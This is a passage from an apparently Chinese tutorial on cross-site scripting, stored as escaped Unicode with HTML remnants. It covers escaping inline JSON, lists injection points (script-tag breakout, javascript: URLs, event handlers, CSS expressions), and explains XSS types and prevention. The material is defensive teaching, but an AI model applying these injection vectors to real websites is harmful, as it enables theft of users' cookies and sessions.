                            •  \u5f53 JSON \u4e2d\u5305\u542b\u5b57\u7b26\u4e32 <\/script> \u65f6\uff0c\u5f53\u524d\u7684 script \u6807\u7b7e\u5c06\u4f1a\u88ab\u95ed\u5408\uff0c\u540e\u9762\u7684\u5b57\u7b26\u4e32\u5185\u5bb9\u6d4f\u89c8\u5668\u4f1a\u6309\u7167 HTML \u8fdb\u884c\u89e3\u6790\uff1b\u901a\u8fc7\u589e\u52a0\u4e0b\u4e00\u4e2a <script> \u6807\u7b7e\u7b49\u65b9\u6cd5\u5c31\u53ef\u4ee5\u5b8c\u6210\u6ce8\u5165\u3002<\/li>\n<\/ul>\n
                              \u4e8e\u662f\u6211\u4eec\u53c8\u8981\u5b9e\u73b0\u4e00\u4e2a escapeEmbedJSON() \u51fd\u6570\uff0c\u5bf9\u5185\u8054 JSON \u8fdb\u884c\u8f6c\u4e49\u3002<\/p>\n
                              \u8f6c\u4e49\u89c4\u5219\u5982\u4e0b\uff1a<\/p>\n\n\n\n\n\n\n\n
                              \u5b57\u7b26<\/th>\n\u8f6c\u4e49\u540e\u7684\u5b57\u7b26<\/th>\n<\/tr>\n<\/thead>\n
                              U+2028<\/code><\/td>\n\\u2028<\/code><\/td>\n<\/tr>\n
                              U+2029<\/code><\/td>\n\\u2029<\/code><\/td>\n<\/tr>\n
                              <<\/code><\/td>\n\\u003c<\/code><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n
                               \u4fee\u590d\u540e\u7684\u4ee3\u7801\u5982\u4e0b\uff1a <\/p>\n
                              \n \n \n 
                                \n  \n  \n  
                              1. <<\/span>script<\/span>><\/span> <\/span><\/span> <\/span><\/li>\n  \n  \n  
                              2. var initData<\/span> = <\/span><<\/span>%= escapeEmbedJSON(data.toJSON()) %<\/span>><\/span> <\/span><\/span><\/li>\n \n \n <\/ol><\/pre>\n
                                \u901a\u8fc7\u8fd9\u4e2a\u4e8b\u4ef6\uff0c\u5c0f\u660e\u5b66\u4e60\u5230\u4e86\u5982\u4e0b\u77e5\u8bc6\uff1a<\/p>\n
                                  \n
                                •  HTML \u8f6c\u4e49\u662f\u975e\u5e38\u590d\u6742\u7684\uff0c\u5728\u4e0d\u540c\u7684\u60c5\u51b5\u4e0b\u8981\u91c7\u7528\u4e0d\u540c\u7684\u8f6c\u4e49\u89c4\u5219\u3002\u5982\u679c\u91c7\u7528\u4e86\u9519\u8bef\u7684\u8f6c\u4e49\u89c4\u5219\uff0c\u5f88\u6709\u53ef\u80fd\u4f1a\u57cb\u4e0b XSS \u9690\u60a3\u3002<\/li>\n
                                •  \u5e94\u5f53\u5c3d\u91cf\u907f\u514d\u81ea\u5df1\u5199\u8f6c\u4e49\u5e93\uff0c\u800c\u5e94\u5f53\u91c7\u7528\u6210\u719f\u7684\u3001\u4e1a\u754c\u901a\u7528\u7684\u8f6c\u4e49\u5e93\u3002<\/li>\n<\/ul>\n
                                  \u6f0f\u6d1e\u603b\u7ed3<\/strong><\/p>\n
                                  \u5c0f\u660e\u7684\u4f8b\u5b50\u8bb2\u5b8c\u4e86\uff0c\u4e0b\u9762\u6211\u4eec\u6765\u7cfb\u7edf\u7684\u770b\u4e0b XSS \u6709\u54ea\u4e9b\u6ce8\u5165\u7684\u65b9\u6cd5\uff1a<\/p>\n
                                    \n
                                  •  \u5728 HTML \u4e2d\u5185\u5d4c\u7684\u6587\u672c\u4e2d\uff0c\u6076\u610f\u5185\u5bb9\u4ee5 script \u6807\u7b7e\u5f62\u6210\u6ce8\u5165\u3002<\/li>\n
                                  •  \u5728\u5185\u8054\u7684 JavaScript \u4e2d\uff0c\u62fc\u63a5\u7684\u6570\u636e\u7a81\u7834\u4e86\u539f\u672c\u7684\u9650\u5236\uff08\u5b57\u7b26\u4e32\uff0c\u53d8\u91cf\uff0c\u65b9\u6cd5\u540d\u7b49\uff09\u3002<\/li>\n
                                  •  \u5728\u6807\u7b7e\u5c5e\u6027\u4e2d\uff0c\u6076\u610f\u5185\u5bb9\u5305\u542b\u5f15\u53f7\uff0c\u4ece\u800c\u7a81\u7834\u5c5e\u6027\u503c\u7684\u9650\u5236\uff0c\u6ce8\u5165\u5176\u4ed6\u5c5e\u6027\u6216\u8005\u6807\u7b7e\u3002<\/li>\n
                                  •  \u5728\u6807\u7b7e\u7684 href\u3001src \u7b49\u5c5e\u6027\u4e2d\uff0c\u5305\u542b javascript: \u7b49\u53ef\u6267\u884c\u4ee3\u7801\u3002<\/li>\n
                                  •  \u5728 onload\u3001onerror\u3001onclick \u7b49\u4e8b\u4ef6\u4e2d\uff0c\u6ce8\u5165\u4e0d\u53d7\u63a7\u5236\u4ee3\u7801\u3002<\/li>\n
                                  •  \u5728 style \u5c5e\u6027\u548c\u6807\u7b7e\u4e2d\uff0c\u5305\u542b\u7c7b\u4f3c background-image:url(\"javascript:...\"); \u7684\u4ee3\u7801\uff08\u65b0\u7248\u672c\u6d4f\u89c8\u5668\u5df2\u7ecf\u53ef\u4ee5\u9632\u8303\uff09\u3002<\/li>\n
                                  •  \u5728 style \u5c5e\u6027\u548c\u6807\u7b7e\u4e2d\uff0c\u5305\u542b\u7c7b\u4f3c expression(...) \u7684 CSS \u8868\u8fbe\u5f0f\u4ee3\u7801\uff08\u65b0\u7248\u672c\u6d4f\u89c8\u5668\u5df2\u7ecf\u53ef\u4ee5\u9632\u8303\uff09\u3002<\/li>\n<\/ul>\n
                                    \u603b\u4e4b\uff0c\u5982\u679c\u5f00\u53d1\u8005\u6ca1\u6709\u5c06\u7528\u6237\u8f93\u5165\u7684\u6587\u672c\u8fdb\u884c\u5408\u9002\u7684\u8fc7\u6ee4\uff0c\u5c31\u8d38\u7136\u63d2\u5165\u5230 HTML \u4e2d\uff0c\u8fd9\u5f88\u5bb9\u6613\u9020\u6210\u6ce8\u5165\u6f0f\u6d1e\u3002\u653b\u51fb\u8005\u53ef\u4ee5\u5229\u7528\u6f0f\u6d1e\uff0c\u6784\u9020\u51fa\u6076\u610f\u7684\u4ee3\u7801\u6307\u4ee4\uff0c\u8fdb\u800c\u5229\u7528\u6076\u610f\u4ee3\u7801\u5371\u5bb3\u6570\u636e\u5b89\u5168\u3002<\/p>\n
                                    XSS \u653b\u51fb\u7684\u5206\u7c7b<\/strong><\/p>\n
                                    \u901a\u8fc7\u4e0a\u8ff0\u51e0\u4e2a\u4f8b\u5b50\uff0c\u6211\u4eec\u5df2\u7ecf\u5bf9 XSS \u6709\u4e86\u4e00\u4e9b\u8ba4\u8bc6\u3002<\/p>\n
                                    \u4ec0\u4e48\u662f XSS<\/strong><\/p>\n
                                    Cross-Site Scripting\uff08\u8de8\u7ad9\u811a\u672c\u653b\u51fb\uff09\u7b80\u79f0 XSS\uff0c\u662f\u4e00\u79cd\u4ee3\u7801\u6ce8\u5165\u653b\u51fb\u3002\u653b\u51fb\u8005\u901a\u8fc7\u5728\u76ee\u6807\u7f51\u7ad9\u4e0a\u6ce8\u5165\u6076\u610f\u811a\u672c\uff0c\u4f7f\u4e4b\u5728\u7528\u6237\u7684\u6d4f\u89c8\u5668\u4e0a\u8fd0\u884c\u3002\u5229\u7528\u8fd9\u4e9b\u6076\u610f\u811a\u672c\uff0c\u653b\u51fb\u8005\u53ef\u83b7\u53d6\u7528\u6237\u7684\u654f\u611f\u4fe1\u606f\u5982 Cookie\u3001SessionID \u7b49\uff0c\u8fdb\u800c\u5371\u5bb3\u6570\u636e\u5b89\u5168\u3002<\/p>\n
                                    \u4e3a\u4e86\u548c CSS \u533a\u5206\uff0c\u8fd9\u91cc\u628a\u653b\u51fb\u7684\u7b2c\u4e00\u4e2a\u5b57\u6bcd\u6539\u6210\u4e86 X\uff0c\u4e8e\u662f\u53eb\u505a XSS\u3002<\/p>\n
                                    XSS \u7684\u672c\u8d28\u662f\uff1a\u6076\u610f\u4ee3\u7801\u672a\u7ecf\u8fc7\u6ee4\uff0c\u4e0e\u7f51\u7ad9\u6b63\u5e38\u7684\u4ee3\u7801\u6df7\u5728\u4e00\u8d77\uff1b\u6d4f\u89c8\u5668\u65e0\u6cd5\u5206\u8fa8\u54ea\u4e9b\u811a\u672c\u662f\u53ef\u4fe1\u7684\uff0c\u5bfc\u81f4\u6076\u610f\u811a\u672c\u88ab\u6267\u884c\u3002<\/p>\n
                                    \u800c\u7531\u4e8e\u76f4\u63a5\u5728\u7528\u6237\u7684\u7ec8\u7aef\u6267\u884c\uff0c\u6076\u610f\u4ee3\u7801\u80fd\u591f\u76f4\u63a5\u83b7\u53d6\u7528\u6237\u7684\u4fe1\u606f\uff0c\u6216\u8005\u5229\u7528\u8fd9\u4e9b\u4fe1\u606f\u5192\u5145\u7528\u6237\u5411\u7f51\u7ad9\u53d1\u8d77\u653b\u51fb\u8005\u5b9a\u4e49\u7684\u8bf7\u6c42\u3002<\/p>\n
                                    \u5728\u90e8\u5206\u60c5\u51b5\u4e0b\uff0c\u7531\u4e8e\u8f93\u5165\u7684\u9650\u5236\uff0c\u6ce8\u5165\u7684\u6076\u610f\u811a\u672c\u6bd4\u8f83\u77ed\u3002\u4f46\u53ef\u4ee5\u901a\u8fc7\u5f15\u5165\u5916\u90e8\u7684\u811a\u672c\uff0c\u5e76\u7531\u6d4f\u89c8\u5668\u6267\u884c\uff0c\u6765\u5b8c\u6210\u6bd4\u8f83\u590d\u6742\u7684\u653b\u51fb\u7b56\u7565\u3002<\/p>\n
                                    \u8fd9\u91cc\u6709\u4e00\u4e2a\u95ee\u9898\uff1a\u7528\u6237\u662f\u901a\u8fc7\u54ea\u79cd\u65b9\u6cd5\u201c\u6ce8\u5165\u201d\u6076\u610f\u811a\u672c\u7684\u5462\uff1f<\/p>\n
                                    \u4e0d\u4ec5\u4ec5\u662f\u4e1a\u52a1\u4e0a\u7684\u201c\u7528\u6237\u7684 UGC \u5185\u5bb9\u201d\u53ef\u4ee5\u8fdb\u884c\u6ce8\u5165\uff0c\u5305\u62ec URL \u4e0a\u7684\u53c2\u6570\u7b49\u90fd\u53ef\u4ee5\u662f\u653b\u51fb\u7684\u6765\u6e90\u3002\u5728\u5904\u7406\u8f93\u5165\u65f6\uff0c\u4ee5\u4e0b\u5185\u5bb9\u90fd\u4e0d\u53ef\u4fe1\uff1a<\/p>\n
                                      \n
                                    •  \u6765\u81ea\u7528\u6237\u7684 UGC \u4fe1\u606f<\/li>\n
                                    •  \u6765\u81ea\u7b2c\u4e09\u65b9\u7684\u94fe\u63a5<\/li>\n
                                    •  URL \u53c2\u6570<\/li>\n
                                    •  POST \u53c2\u6570<\/li>\n
                                    •  Referer \uff08\u53ef\u80fd\u6765\u81ea\u4e0d\u53ef\u4fe1\u7684\u6765\u6e90\uff09<\/li>\n
                                    •  Cookie \uff08\u53ef\u80fd\u6765\u81ea\u5176\u4ed6\u5b50\u57df\u6ce8\u5165\uff09<\/li>\n<\/ul>\n
                                      XSS \u5206\u7c7b<\/strong><\/p>\n
                                      \u6839\u636e\u653b\u51fb\u7684\u6765\u6e90\uff0cXSS \u653b\u51fb\u53ef\u5206\u4e3a\u5b58\u50a8\u578b\u3001\u53cd\u5c04\u578b\u548c DOM \u578b\u4e09\u79cd\u3002<\/p>\n\n\n\n\n\n\n\n
                                      \u7c7b\u578b<\/th>\n\u5b58\u50a8\u533a*<\/th>\n\u63d2\u5165\u70b9*<\/th>\n<\/tr>\n<\/thead>\n
                                      \u5b58\u50a8\u578b XSS<\/td>\n\u540e\u7aef\u6570\u636e\u5e93<\/td>\nHTML<\/td>\n<\/tr>\n
                                      \u53cd\u5c04\u578b XSS<\/td>\nURL<\/td>\nHTML<\/td>\n<\/tr>\n
                                      DOM \u578b XSS<\/td>\n\u540e\u7aef\u6570\u636e\u5e93\/\u524d\u7aef\u5b58\u50a8\/URL<\/td>\n\u524d\u7aef JavaScript<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n
                                       <\/p>\n
                                        \n
                                      •  \u5b58\u50a8\u533a\uff1a\u6076\u610f\u4ee3\u7801\u5b58\u653e\u7684\u4f4d\u7f6e\u3002<\/li>\n
                                      •  \u63d2\u5165\u70b9\uff1a\u7531\u8c01\u53d6\u5f97\u6076\u610f\u4ee3\u7801\uff0c\u5e76\u63d2\u5165\u5230\u7f51\u9875\u4e0a\u3002<\/li>\n<\/ul>\n
                                        \u5b58\u50a8\u578b XSS<\/strong><\/p>\n
                                        \u5b58\u50a8\u578b XSS \u7684\u653b\u51fb\u6b65\u9aa4\uff1a<\/p>\n
                                          \n
                                        1.  \u653b\u51fb\u8005\u5c06\u6076\u610f\u4ee3\u7801\u63d0\u4ea4\u5230\u76ee\u6807\u7f51\u7ad9\u7684\u6570\u636e\u5e93\u4e2d\u3002<\/li>\n
                                        2.  \u7528\u6237\u6253\u5f00\u76ee\u6807\u7f51\u7ad9\u65f6\uff0c\u7f51\u7ad9\u670d\u52a1\u7aef\u5c06\u6076\u610f\u4ee3\u7801\u4ece\u6570\u636e\u5e93\u53d6\u51fa\uff0c\u62fc\u63a5\u5728 HTML \u4e2d\u8fd4\u56de\u7ed9\u6d4f\u89c8\u5668\u3002<\/li>\n
                                        3.  \u7528\u6237\u6d4f\u89c8\u5668\u63a5\u6536\u5230\u54cd\u5e94\u540e\u89e3\u6790\u6267\u884c\uff0c\u6df7\u5728\u5176\u4e2d\u7684\u6076\u610f\u4ee3\u7801\u4e5f\u88ab\u6267\u884c\u3002<\/li>\n
                                        4.  \u6076\u610f\u4ee3\u7801\u7a83\u53d6\u7528\u6237\u6570\u636e\u5e76\u53d1\u9001\u5230\u653b\u51fb\u8005\u7684\u7f51\u7ad9\uff0c\u6216\u8005\u5192\u5145\u7528\u6237\u7684\u884c\u4e3a\uff0c\u8c03\u7528\u76ee\u6807\u7f51\u7ad9\u63a5\u53e3\u6267\u884c\u653b\u51fb\u8005\u6307\u5b9a\u7684\u64cd\u4f5c\u3002<\/li>\n<\/ol>\n
                                          \u8fd9\u79cd\u653b\u51fb\u5e38\u89c1\u4e8e\u5e26\u6709\u7528\u6237\u4fdd\u5b58\u6570\u636e\u7684\u7f51\u7ad9\u529f\u80fd\uff0c\u5982\u8bba\u575b\u53d1\u5e16\u3001\u5546\u54c1\u8bc4\u8bba\u3001\u7528\u6237\u79c1\u4fe1\u7b49\u3002<\/p>\n
                                          \u53cd\u5c04\u578b XSS<\/strong><\/p>\n
                                          \u53cd\u5c04\u578b XSS \u7684\u653b\u51fb\u6b65\u9aa4\uff1a<\/p>\n
                                            \n
                                          1.  \u653b\u51fb\u8005\u6784\u9020\u51fa\u7279\u6b8a\u7684 URL\uff0c\u5176\u4e2d\u5305\u542b\u6076\u610f\u4ee3\u7801\u3002<\/li>\n
                                          2.  \u7528\u6237\u6253\u5f00\u5e26\u6709\u6076\u610f\u4ee3\u7801\u7684 URL \u65f6\uff0c\u7f51\u7ad9\u670d\u52a1\u7aef\u5c06\u6076\u610f\u4ee3\u7801\u4ece URL \u4e2d\u53d6\u51fa\uff0c\u62fc\u63a5\u5728 HTML \u4e2d\u8fd4\u56de\u7ed9\u6d4f\u89c8\u5668\u3002<\/li>\n
                                          3.  \u7528\u6237\u6d4f\u89c8\u5668\u63a5\u6536\u5230\u54cd\u5e94\u540e\u89e3\u6790\u6267\u884c\uff0c\u6df7\u5728\u5176\u4e2d\u7684\u6076\u610f\u4ee3\u7801\u4e5f\u88ab\u6267\u884c\u3002<\/li>\n
                                          4.  \u6076\u610f\u4ee3\u7801\u7a83\u53d6\u7528\u6237\u6570\u636e\u5e76\u53d1\u9001\u5230\u653b\u51fb\u8005\u7684\u7f51\u7ad9\uff0c\u6216\u8005\u5192\u5145\u7528\u6237\u7684\u884c\u4e3a\uff0c\u8c03\u7528\u76ee\u6807\u7f51\u7ad9\u63a5\u53e3\u6267\u884c\u653b\u51fb\u8005\u6307\u5b9a\u7684\u64cd\u4f5c\u3002<\/li>\n<\/ol>\n
                                            \u53cd\u5c04\u578b XSS \u8ddf\u5b58\u50a8\u578b XSS \u7684\u533a\u522b\u662f\uff1a\u5b58\u50a8\u578b XSS \u7684\u6076\u610f\u4ee3\u7801\u5b58\u5728\u6570\u636e\u5e93\u91cc\uff0c\u53cd\u5c04\u578b XSS \u7684\u6076\u610f\u4ee3\u7801\u5b58\u5728 URL \u91cc\u3002<\/p>\n
                                            \u53cd\u5c04\u578b XSS \u6f0f\u6d1e\u5e38\u89c1\u4e8e\u901a\u8fc7 URL \u4f20\u9012\u53c2\u6570\u7684\u529f\u80fd\uff0c\u5982\u7f51\u7ad9\u641c\u7d22\u3001\u8df3\u8f6c\u7b49\u3002<\/p>\n
                                            \u7531\u4e8e\u9700\u8981\u7528\u6237\u4e3b\u52a8\u6253\u5f00\u6076\u610f\u7684 URL \u624d\u80fd\u751f\u6548\uff0c\u653b\u51fb\u8005\u5f80\u5f80\u4f1a\u7ed3\u5408\u591a\u79cd\u624b\u6bb5\u8bf1\u5bfc\u7528\u6237\u70b9\u51fb\u3002<\/p>\n
                                            POST \u7684\u5185\u5bb9\u4e5f\u53ef\u4ee5\u89e6\u53d1\u53cd\u5c04\u578b XSS\uff0c\u53ea\u4e0d\u8fc7\u5176\u89e6\u53d1\u6761\u4ef6\u6bd4\u8f83\u82db\u523b\uff08\u9700\u8981\u6784\u9020\u8868\u5355\u63d0\u4ea4\u9875\u9762\uff0c\u5e76\u5f15\u5bfc\u7528\u6237\u70b9\u51fb\uff09\uff0c\u6240\u4ee5\u975e\u5e38\u5c11\u89c1\u3002<\/p>\n
                                            DOM \u578b XSS<\/strong><\/p>\n
                                            DOM \u578b XSS \u7684\u653b\u51fb\u6b65\u9aa4\uff1a<\/p>\n
                                              \n
                                            1.  \u653b\u51fb\u8005\u6784\u9020\u51fa\u7279\u6b8a\u7684 URL\uff0c\u5176\u4e2d\u5305\u542b\u6076\u610f\u4ee3\u7801\u3002<\/li>\n
                                            2.  \u7528\u6237\u6253\u5f00\u5e26\u6709\u6076\u610f\u4ee3\u7801\u7684 URL\u3002<\/li>\n
                                            3.  \u7528\u6237\u6d4f\u89c8\u5668\u63a5\u6536\u5230\u54cd\u5e94\u540e\u89e3\u6790\u6267\u884c\uff0c\u524d\u7aef JavaScript \u53d6\u51fa URL \u4e2d\u7684\u6076\u610f\u4ee3\u7801\u5e76\u6267\u884c\u3002<\/li>\n
                                            4.  \u6076\u610f\u4ee3\u7801\u7a83\u53d6\u7528\u6237\u6570\u636e\u5e76\u53d1\u9001\u5230\u653b\u51fb\u8005\u7684\u7f51\u7ad9\uff0c\u6216\u8005\u5192\u5145\u7528\u6237\u7684\u884c\u4e3a\uff0c\u8c03\u7528\u76ee\u6807\u7f51\u7ad9\u63a5\u53e3\u6267\u884c\u653b\u51fb\u8005\u6307\u5b9a\u7684\u64cd\u4f5c\u3002<\/li>\n<\/ol>\n
                                              DOM \u578b XSS \u8ddf\u524d\u4e24\u79cd XSS \u7684\u533a\u522b\uff1aDOM \u578b XSS \u653b\u51fb\u4e2d\uff0c\u53d6\u51fa\u548c\u6267\u884c\u6076\u610f\u4ee3\u7801\u7531\u6d4f\u89c8\u5668\u7aef\u5b8c\u6210\uff0c\u5c5e\u4e8e\u524d\u7aef JavaScript \u81ea\u8eab\u7684\u5b89\u5168\u6f0f\u6d1e\uff0c\u800c\u5176\u4ed6\u4e24\u79cd XSS \u90fd\u5c5e\u4e8e\u670d\u52a1\u7aef\u7684\u5b89\u5168\u6f0f\u6d1e\u3002<\/p>\n
                                              XSS \u653b\u51fb\u7684\u9884\u9632<\/strong><\/p>\n
                                              \u901a\u8fc7\u524d\u9762\u7684\u4ecb\u7ecd\u53ef\u4ee5\u5f97\u77e5\uff0cXSS \u653b\u51fb\u6709\u4e24\u5927\u8981\u7d20\uff1a<\/p>\n
                                                \n
                                              1.  \u653b\u51fb\u8005\u63d0\u4ea4\u6076\u610f\u4ee3\u7801\u3002<\/li>\n
                                              2.  \u6d4f\u89c8\u5668\u6267\u884c\u6076\u610f\u4ee3\u7801\u3002<\/li>\n<\/ol>\n
                                                \u9488\u5bf9\u7b2c\u4e00\u4e2a\u8981\u7d20\uff1a\u6211\u4eec\u662f\u5426\u80fd\u591f\u5728\u7528\u6237\u8f93\u5165\u7684\u8fc7\u7a0b\uff0c\u8fc7\u6ee4\u6389\u7528\u6237\u8f93\u5165\u7684\u6076\u610f\u4ee3\u7801\u5462\uff1f<\/p>\n
                                                \u8f93\u5165\u8fc7\u6ee4<\/strong><\/p>\n
                                                \u5728\u7528\u6237\u63d0\u4ea4\u65f6\uff0c\u7531\u524d\u7aef\u8fc7\u6ee4\u8f93\u5165\uff0c\u7136\u540e\u63d0\u4ea4\u5230\u540e\u7aef\u3002\u8fd9\u6837\u505a\u662f\u5426\u53ef\u884c\u5462\uff1f<\/p>\n
                                                \u7b54\u6848\u662f\u4e0d\u53ef\u884c\u3002\u4e00\u65e6\u653b\u51fb\u8005\u7ed5\u8fc7\u524d\u7aef\u8fc7\u6ee4\uff0c\u76f4\u63a5\u6784\u9020\u8bf7\u6c42\uff0c\u5c31\u53ef\u4ee5\u63d0\u4ea4\u6076\u610f\u4ee3\u7801\u4e86\u3002<\/p>\n
                                                \u90a3\u4e48\uff0c\u6362\u4e00\u4e2a\u8fc7\u6ee4\u65f6\u673a\uff1a\u540e\u7aef\u5728\u5199\u5165\u6570\u636e\u5e93\u524d\uff0c\u5bf9\u8f93\u5165\u8fdb\u884c\u8fc7\u6ee4\uff0c\u7136\u540e\u628a\u201c\u5b89\u5168\u7684\u201d\u5185\u5bb9\uff0c\u8fd4\u56de\u7ed9\u524d\u7aef\u3002\u8fd9\u6837\u662f\u5426\u53ef\u884c\u5462\uff1f<\/p>\n
                                                \u6211\u4eec\u4e3e\u4e00\u4e2a\u4f8b\u5b50\uff0c\u4e00\u4e2a\u6b63\u5e38\u7684\u7528\u6237\u8f93\u5165\u4e86 5 < 7 \u8fd9\u4e2a\u5185\u5bb9\uff0c\u5728\u5199\u5165\u6570\u636e\u5e93\u524d\uff0c\u88ab\u8f6c\u4e49\uff0c\u53d8\u6210\u4e86 5 &lt; 7\u3002<\/p>\n
                                                \u95ee\u9898\u662f\uff1a\u5728\u63d0\u4ea4\u9636\u6bb5\uff0c\u6211\u4eec\u5e76\u4e0d\u786e\u5b9a\u5185\u5bb9\u8981\u8f93\u51fa\u5230\u54ea\u91cc\u3002<\/p>\n
                                                \u8fd9\u91cc\u7684\u201c\u5e76\u4e0d\u786e\u5b9a\u5185\u5bb9\u8981\u8f93\u51fa\u5230\u54ea\u91cc\u201d\u6709\u4e24\u5c42\u542b\u4e49\uff1a<\/p>\n
                                                  \n
                                                1.  \u7528\u6237\u7684\u8f93\u5165\u5185\u5bb9\u53ef\u80fd\u540c\u65f6\u63d0\u4f9b\u7ed9\u524d\u7aef\u548c\u5ba2\u6237\u7aef\uff0c\u800c\u4e00\u65e6\u7ecf\u8fc7\u4e86 escapeHTML()\uff0c\u5ba2\u6237\u7aef\u663e\u793a\u7684\u5185\u5bb9\u5c31\u53d8\u6210\u4e86\u4e71\u7801( 5 &lt; 7 )\u3002<\/li>\n
                                                2.  \u5728\u524d\u7aef\u4e2d\uff0c\u4e0d\u540c\u7684\u4f4d\u7f6e\u6240\u9700\u7684\u7f16\u7801\u4e5f\u4e0d\u540c\u3002<\/li>\n<\/ol>\n
                                                    \n
                                                  •   \u5f53 5 &lt; 7 \u4f5c\u4e3a HTML \u62fc\u63a5\u9875\u9762\u65f6\uff0c\u53ef\u4ee5\u6b63\u5e38\u663e\u793a\uff1a     <\/li>\n<\/ul>\n
                                                    \n \n \n 
                                                      \n  \n  \n  
                                                    1. <<\/span>div<\/span> <\/span>title<\/span>=<\/span>\"comment\"<\/span>><\/span>5 <\/span>&lt;<\/span> <\/span>7<\/span><\/<\/span>div<\/span>><\/span> <\/span><\/span><\/li>\n \n \n <\/ol><\/pre>\n
                                                        \n
                                                      •   \u5f53 5 &lt; 7 \u901a\u8fc7 Ajax \u8fd4\u56de\uff0c\u7136\u540e\u8d4b\u503c\u7ed9 JavaScript \u7684\u53d8\u91cf\u65f6\uff0c\u524d\u7aef\u5f97\u5230\u7684\u5b57\u7b26\u4e32\u5c31\u662f\u8f6c\u4e49\u540e\u7684\u5b57\u7b26\u3002\u8fd9\u4e2a\u5185\u5bb9\u4e0d\u80fd\u76f4\u63a5\u7528\u4e8e Vue \u7b49\u6a21\u677f\u7684\u5c55\u793a\uff0c\u4e5f\u4e0d\u80fd\u76f4\u63a5\u7528\u4e8e\u5185\u5bb9\u957f\u5ea6\u8ba1\u7b97\u3002\u4e0d\u80fd\u7528\u4e8e\u6807\u9898\u3001alert \u7b49\u3002<\/li>\n<\/ul>\n
                                                        \u6240\u4ee5\uff0c\u8f93\u5165\u4fa7\u8fc7\u6ee4\u80fd\u591f\u5728\u67d0\u4e9b\u60c5\u51b5\u4e0b\u89e3\u51b3\u7279\u5b9a\u7684 XSS \u95ee\u9898\uff0c\u4f46\u4f1a\u5f15\u5165\u5f88\u5927\u7684\u4e0d\u786e\u5b9a\u6027\u548c\u4e71\u7801\u95ee\u9898\u3002\u5728\u9632\u8303 XSS \u653b\u51fb\u65f6\u5e94\u907f\u514d\u6b64\u7c7b\u65b9\u6cd5\u3002<\/p>\n
                                                        \u5f53\u7136\uff0c\u5bf9\u4e8e\u660e\u786e\u7684\u8f93\u5165\u7c7b\u578b\uff0c\u4f8b\u5982\u6570\u5b57\u3001URL\u3001\u7535\u8bdd\u53f7\u7801\u3001\u90ae\u4ef6\u5730\u5740\u7b49\u7b49\u5185\u5bb9\uff0c\u8fdb\u884c\u8f93\u5165\u8fc7\u6ee4\u8fd8\u662f\u5fc5\u8981\u7684\u3002<\/p>\n
                                                        \u65e2\u7136\u8f93\u5165\u8fc7\u6ee4\u5e76\u975e\u5b8c\u5168\u53ef\u9760\uff0c\u6211\u4eec\u5c31\u8981\u901a\u8fc7\u201c\u9632\u6b62\u6d4f\u89c8\u5668\u6267\u884c\u6076\u610f\u4ee3\u7801\u201d\u6765\u9632\u8303 XSS\u3002\u8fd9\u90e8\u5206\u5206\u4e3a\u4e24\u7c7b\uff1a<\/p>\n
                                                          \n
                                                        1.  \u9632\u6b62 HTML \u4e2d\u51fa\u73b0\u6ce8\u5165\u3002<\/li>\n
                                                        2.  \u9632\u6b62 JavaScript \u6267\u884c\u65f6\uff0c\u6267\u884c\u6076\u610f\u4ee3\u7801\u3002<\/li>\n<\/ol>\n
                                                          \u9884\u9632\u5b58\u50a8\u578b\u548c\u53cd\u5c04\u578b XSS \u653b\u51fb<\/strong><\/p>\n
                                                          \u5b58\u50a8\u578b\u548c\u53cd\u5c04\u578b XSS \u90fd\u662f\u5728\u670d\u52a1\u7aef\u53d6\u51fa\u6076\u610f\u4ee3\u7801\u540e\uff0c\u63d2\u5165\u5230\u54cd\u5e94 HTML \u91cc\u7684\uff0c\u653b\u51fb\u8005\u523b\u610f\u7f16\u5199\u7684\u201c\u6570\u636e\u201d\u88ab\u5185\u5d4c\u5230\u201c\u4ee3\u7801\u201d\u4e2d\uff0c\u88ab\u6d4f\u89c8\u5668\u6240\u6267\u884c\u3002<\/p>\n
                                                          \u9884\u9632\u8fd9\u4e24\u79cd\u6f0f\u6d1e\uff0c\u6709\u4e24\u79cd\u5e38\u89c1\u505a\u6cd5\uff1a<\/p>\n
                                                            \n
                                                          •  \u6539\u6210\u7eaf\u524d\u7aef\u6e32\u67d3\uff0c\u628a\u4ee3\u7801\u548c\u6570\u636e\u5206\u9694\u5f00\u3002<\/li>\n
                                                          •  \u5bf9 HTML \u505a\u5145\u5206\u8f6c\u4e49\u3002<\/li>\n<\/ul>\n
                                                            \u7eaf\u524d\u7aef\u6e32\u67d3<\/strong><\/p>\n
                                                            \u7eaf\u524d\u7aef\u6e32\u67d3\u7684\u8fc7\u7a0b\uff1a<\/p>\n
                                                              \n
                                                            1.  \u6d4f\u89c8\u5668\u5148\u52a0\u8f7d\u4e00\u4e2a\u9759\u6001 HTML\uff0c\u6b64 HTML \u4e2d\u4e0d\u5305\u542b\u4efb\u4f55\u8ddf\u4e1a\u52a1\u76f8\u5173\u7684\u6570\u636e\u3002<\/li>\n
                                                            2.  \u7136\u540e\u6d4f\u89c8\u5668\u6267\u884c HTML \u4e2d\u7684 JavaScript\u3002<\/li>\n
                                                            3.  JavaScript \u901a\u8fc7 Ajax \u52a0\u8f7d\u4e1a\u52a1\u6570\u636e\uff0c\u8c03\u7528 DOM API \u66f4\u65b0\u5230\u9875\u9762\u4e0a\u3002<\/li>\n<\/ol>\n
                                                              \u5728\u7eaf\u524d\u7aef\u6e32\u67d3\u4e2d\uff0c\u6211\u4eec\u4f1a\u660e\u786e\u7684\u544a\u8bc9\u6d4f\u89c8\u5668\uff1a\u4e0b\u9762\u8981\u8bbe\u7f6e\u7684\u5185\u5bb9\u662f\u6587\u672c\uff08.innerText\uff09\uff0c\u8fd8\u662f\u5c5e\u6027\uff08.setAttribute\uff09\uff0c\u8fd8\u662f\u6837\u5f0f\uff08.style\uff09\u7b49\u7b49\u3002\u6d4f\u89c8\u5668\u4e0d\u4f1a\u88ab\u8f7b\u6613\u7684\u88ab\u6b3a\u9a97\uff0c\u6267\u884c\u9884\u671f\u5916\u7684\u4ee3\u7801\u4e86\u3002<\/p>\n
                                                              \u4f46\u7eaf\u524d\u7aef\u6e32\u67d3\u8fd8\u9700\u6ce8\u610f\u907f\u514d DOM \u578b XSS \u6f0f\u6d1e\uff08\u4f8b\u5982 onload \u4e8b\u4ef6\u548c href \u4e2d\u7684 javascript:xxx \u7b49\uff0c\u8bf7\u53c2\u8003\u4e0b\u6587\u201d\u9884\u9632 DOM \u578b XSS \u653b\u51fb\u201c\u90e8\u5206\uff09\u3002<\/p>\n
